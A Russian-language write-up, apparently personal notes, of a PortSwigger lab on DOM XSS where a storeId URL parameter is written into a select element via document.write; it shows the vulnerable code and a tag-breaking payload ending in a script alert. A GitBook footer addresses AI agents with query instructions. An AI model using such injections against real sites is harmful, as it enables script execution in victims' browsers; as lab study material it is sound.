> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/xss-dom-with-document-write-inside-a-select.md).

# DOM XSS с document.write внутри select

Заметки по DOM XSS с document.write внутри select для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### DOM XSS в приемнике document.write с использованием источника location.search внутри элемента select

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Следующий код динамически создает `<select>` выпадающее меню с разными городами и выбирает тот, что передан в **storeId** параметре в URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Пример с параметром:

```
product?productId=2&storeId=Jordan
```

* Это добавляет новую опцию в выпадающий список.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

При ручном закрытии `<option>` тега:

```javascript
</option>Jordan
```

`<select>` его также можно закрыть:

```javascript
</option></select>Jordan
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Итоговая инъекция для запуска JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
